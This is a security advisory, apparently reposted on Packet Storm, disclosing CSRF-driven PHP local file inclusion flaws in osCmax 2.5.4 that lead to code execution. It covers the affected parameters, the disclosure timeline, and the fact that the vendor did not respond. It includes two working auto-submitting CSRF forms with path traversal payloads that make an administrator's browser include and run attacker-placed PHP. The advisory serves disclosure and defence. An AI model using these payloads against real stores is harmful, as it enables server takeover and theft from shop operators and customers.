exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

osCmax 2.5.4 Code Execution / CSRF / Local File Inclusion

osCmax 2.5.4 Code Execution / CSRF / Local File Inclusion
Posted Feb 18, 2016
Authored by High-Tech Bridge SA | Site htbridge.com

osCmax version 2.5.4 suffers from code execution, cross site request forgery, and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, code execution, file inclusion, csrf
SHA-256 | 4ad8190811bf2819eca13b86515ec3b6f35acf38818dc02e5c40e799d449f463

osCmax 2.5.4 Code Execution / CSRF / Local File Inclusion

Change Mirror Download
Advisory ID: HTB23285
Product: osCmax
Vendor: http://oscmax.com/
Vulnerable Version(s): 2.5.4 and probably prior
Tested Version: 2.5.4
Advisory Publication: December 21, 2015 [without technical details]
Vendor Notification: December 21, 2015
Public Disclosure: February 17, 2016
Vulnerability Type: PHP File Inclusion [CWE-98]
Risk Level: Medium
CVSSv3 Base Score: 5.8 [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L]
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered 2 PHP Local File Inclusion vulnerabilities in osCmax, a popular web-based e-commerce application and shopping cart. The vulnerabilities can be exploited to execute arbitrary PHP code on the target system.

Successful exploitation of these vulnerabilities requires attacker to have access to the administrator panel. However, both vulnerabilities can also be exploited by remote non-authenticated attacker via CSRF attack vector to which the application is also vulnerable.

1) Remote Code Execution via PHP File Inclusion in osCmax

1.1 The vulnerability exists due to insufficient filtration of "pm_filename" HTTP POST parameter in "/admin/page_modules_configuration.php" PHP script. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to included and execute a PHP file from arbitrary location on the local file system.

A simple CSRF exploit below can be used to store in the application database path to "/tmp/file" file (or any other file with malicious PHP code):


<form action="http://[host]/admin/page_modules_configuration.php?page=1&action =insert" method="post" name="main">
<input type="hidden" name="pm_title" value="vulnerable">
<input type="hidden" name="pm_filename" value="../../../../../../../../../../../tmp/file">
<input type="hidden" name="pm_page" value="all">
<input type="hidden" name="pm_cg_hide" value="">
<input type="hidden" name="pm_sort_order" value="">
<input type="hidden" name="x" value="38">
<input type="hidden" name="y" value="17">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>


The code from the "/tmp/file" file will be executed once the victim visits the following URL: http://[host]/index.php


1.2 The second vulnerability exists due to insufficient filtration of "file_type" HTTP POST parameter in "/admin/batch_print.php" script. A remote authenticated attacker can use path traversal to load and execute a PHP file from arbitrary location on the local filesystem.

A simple CSRF exploit below can be used to execute PHP code from "/tmp/file" file:


<form action="http://[host]/admin/batch_print.php?act=1" method="post" name ="main">
<input type="hidden" name="file_type" value="../../../../../../../../../../tmp/file">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>


The malicious PHP code will be executed on the server once the victim visits the page with above-mentioned CSRF exploit.

-----------------------------------------------------------------------------------------------

Solution:

Disclosure timeline:
2015-12-21 Vendor notified via emails, no reply.
2016-01-06 Vendor notified via emails and forum, no reply.
2016-01-13 Fix Requested via emails, no reply.
2016-01-19 Fix Requested via emails, no reply.
2016-01-20 Fix Requested via emails, no reply.
2016-02-17 Public disclosure.

Currently we are not aware of any official solution for this vulnerability.

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23285 - https://www.htbridge.com/advisory/HTB23285 - RCE via CSRF in osCmax
[2] osCmax - http://oscmax.com/ - osCmax is a powerful e-commerce/shopping cart web application. osCmax has all the features needed to run a successful internet store and can be customized to whatever configuration you need.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close